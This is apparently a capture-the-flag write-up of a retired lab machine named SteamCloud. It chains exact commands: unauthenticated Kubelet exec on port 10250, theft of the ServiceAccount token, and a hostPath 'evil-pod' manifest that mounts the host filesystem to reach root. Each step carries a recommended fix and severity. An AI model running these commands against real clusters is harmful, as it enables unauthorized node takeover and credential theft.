SteamCloud
Summary
Target steamcloud ($TARGET) runs a Kubernetes cluster whose Kubelet API on port 10250 was openly accessible to the internet without any authentication. I enumerated running pods, used the Kubelet's command-execution endpoint to run arbitrary shell commands inside the nginx container, and read the user flag directly. The same unauthenticated exec channel was used to extract the pod's Kubernetes ServiceAccount token — a credential that the nginx workload had no business holding but which carried rights to create new pods across the cluster.
I used that token against the Kubernetes API server to deploy a rogue pod with the host's entire filesystem mounted inside it, then exec'd into that pod to read the root flag. The entire compromise required no password cracking, no exploit code, and no lateral movement: three misconfigured defaults chained end-to-end gave full control of the underlying node.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 2
Version scan of all discovered ports.
$ nmap -Pn -sV -p 22,2379,2380,8443,10249,10250,10256 $TARGETConfirm Kubernetes API server and capture its version string.
$ curl -sk https://$TARGET:8443/versionExact commands 2
Confirm the API server rejects anonymous pod listing — expect 403 Forbidden.
$ curl -sk https://$TARGET:8443/api/v1/namespaces/default/podsUnauthenticated Kubelet pod listing — returns full PodList including container images and namespaces.
$ curl -sk https://$TARGET:10250/pods | python3 -m json.tool | grep -E '"name"|"namespace"|"image"'FixDisable anonymous authentication and require authorization on the Kubelet APICritical
Exact commands 3
Confirm RCE — no credentials required; should return uid=0(root).
$ curl -sk -XPOST "https://$TARGET:10250/run/default/nginx/nginx" -d 'cmd=id'Kubeletctl equivalent of the curl call above.
$ kubeletctl --server $TARGET run 'id' --namespace default --pod nginx --container nginxRead the user flag; actual value is <user.txt>.
$ curl -sk -XPOST "https://$TARGET:10250/run/default/nginx/nginx" -d 'cmd=cat /root/user.txt'Exact commands 2
Exfiltrate the ServiceAccount bearer token.
$ curl -sk -XPOST "https://$TARGET:10250/run/default/nginx/nginx" -d 'cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token' -o ./sa_tokenExfiltrate the cluster CA certificate required to validate kube-apiserver TLS.
$ curl -sk -XPOST "https://$TARGET:10250/run/default/nginx/nginx" -d 'cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt' -o ./ca.crtFixOpt out of automatic ServiceAccount token mounting for workloads that do not call the Kubernetes APIHigh
Exact commands 2
Verify the stolen ServiceAccount can create new pods — expect 'yes'.
$ kubectl --server https://$TARGET:8443 --certificate-authority ./ca.crt --token "$(cat ./sa_token)" auth can-i create podsList pods across all namespaces to confirm breadth of API access.
$ kubectl --server https://$TARGET:8443 --certificate-authority ./ca.crt --token "$(cat ./sa_token)" get pods -AFixApply least-privilege RBAC — remove pod-creation rights from application ServiceAccountsHigh
Exact commands 3
Manifest for the hostPath escape pod; uses the image already cached on the node.
$ cat <<'EOF' > evil-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: rootpod
namespace: default
spec:
containers:
- name: rootpod
image: nginx:1.14.2
volumeMounts:
- mountPath: /host
name: hostroot
volumes:
- name: hostroot
hostPath:
path: /
EOFSchedule the malicious pod via the authenticated API.
$ kubectl --server https://$TARGET:8443 --certificate-authority ./ca.crt --token "$(cat ./sa_token)" apply -f evil-pod.yamlWait for the pod to reach Running state before proceeding.
$ kubectl --server https://$TARGET:8443 --certificate-authority ./ca.crt --token "$(cat ./sa_token)" get pod rootpod -wFixEnforce Pod Security Admission to block hostPath volumes and privileged containersCritical
Exact commands 2
Read the root flag via the host-mounted filesystem through the Kubelet exec endpoint; actual value is <root.txt>.
$ curl -sk -XPOST "https://$TARGET:10250/run/default/rootpod/rootpod" -d 'cmd=cat /host/root/root.txt'Kubectl exec equivalent — both paths work because the Kubelet exec endpoint remains open.
$ kubectl --server https://$TARGET:8443 --certificate-authority ./ca.crt --token "$(cat ./sa_token)" exec rootpod -- cat /host/root/root.txtExposed services
| 22/tcp | ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) |
| 2379/tcp | unknown recon-sweep-discovered |
| 2380/tcp | unknown recon-sweep-discovered |
| 8443/tcp | http recon-sweep-discovered |
| 10249/tcp | http Golang net/http server (Go-IPFS json-rpc or InfluxDB API) |
| 10250/tcp | unknown recon-sweep-discovered |
| 10256/tcp | http Golang net/http server (Go-IPFS json-rpc or InfluxDB API) |